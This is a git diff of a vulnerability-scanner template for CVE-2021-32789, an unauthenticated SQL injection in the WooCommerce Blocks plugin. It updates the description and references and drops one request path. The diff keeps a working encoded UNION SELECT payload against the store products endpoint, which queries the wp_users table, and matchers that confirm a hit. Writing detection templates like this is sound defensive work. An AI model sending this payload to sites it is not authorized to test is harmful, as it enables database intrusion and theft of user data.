diff --git a/cves/2021/CVE-2021-32789.yaml b/cves/2021/CVE-2021-32789.yaml index 604de1a977..ef154734ff 100644 --- a/cves/2021/CVE-2021-32789.yaml +++ b/cves/2021/CVE-2021-32789.yaml @@ -1,30 +1,29 @@ id: CVE-2021-32789 info: - name: WooCommerce Blocks 2.5 to 5.5 & Woocommerce 3.3 to 5.5 - Authenticated ? & Unauthenticated SQL Injection - author: rootxharsh,iamnoooob,S1r1u5_,cookiehanhoan,madrobot,akincibor + name: WooCommerce Blocks 2.5 to 5.5 - Unauthenticated SQL Injection + author: rootxharsh,iamnoooob,S1r1u5_,cookiehanhoan,madrobot severity: critical - description: The Woocommerce plugin for Wordpress contains an unauthenticated SQL injection vulnerability. + description: | + woocommerce-gutenberg-products-block is a feature plugin for WooCommerce Gutenberg Blocks. An SQL injection vulnerability impacts all WooCommerce sites running the WooCommerce Blocks feature plugin between version 2.5.0 and prior to version 2.5.16. Via a carefully crafted URL, an exploit can be executed against the `wc/store/products/collection-data?calculate_attribute_counts[][taxonomy]` endpoint that allows the execution of a read only sql query. There are patches for many versions of this package, starting with version 2.5.16. There are no known workarounds aside from upgrading. reference: - https://woocommerce.com/posts/critical-vulnerability-detected-july-2021 - https://viblo.asia/p/phan-tich-loi-unauthen-sql-injection-woocommerce-naQZRQyQKvx - https://securitynews.sonicwall.com/xmlpost/wordpress-woocommerce-plugin-sql-injection/ - - https://wpscan.com/vulnerability/1212fec8-1fde-41e5-af70-abdd7ffe5379 #CVE-2021-32790 (Authenticated ?) - - https://wpscan.com/vulnerability/0f2089dc-9376-4d7d-95a2-25c99526804a #CVE-2021-32789 + - https://wpscan.com/vulnerability/0f2089dc-9376-4d7d-95a2-25c99526804a + - https://nvd.nist.gov/vuln/detail/CVE-2021-32789 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cwe-id: CWE-89 cve-id: CVE-2021-32789 - tags: wordpress,woocommerce,sqli,wp-plugin,injection,wp + tags: wordpress,woocommerce,sqli,wp-plugin,wp requests: - method: GET path: - '{{BaseURL}}/?rest_route=/wc/store/products/collection-data&calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500' - - '{{BaseURL}}/wp-json/wc/store/products/collection-data?calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500' - stop-at-first-match: true matchers-condition: and matchers: - type: word @@ -36,9 +35,9 @@ requests: condition: and - type: word + part: header words: - 'application/json' - part: header - type: status status: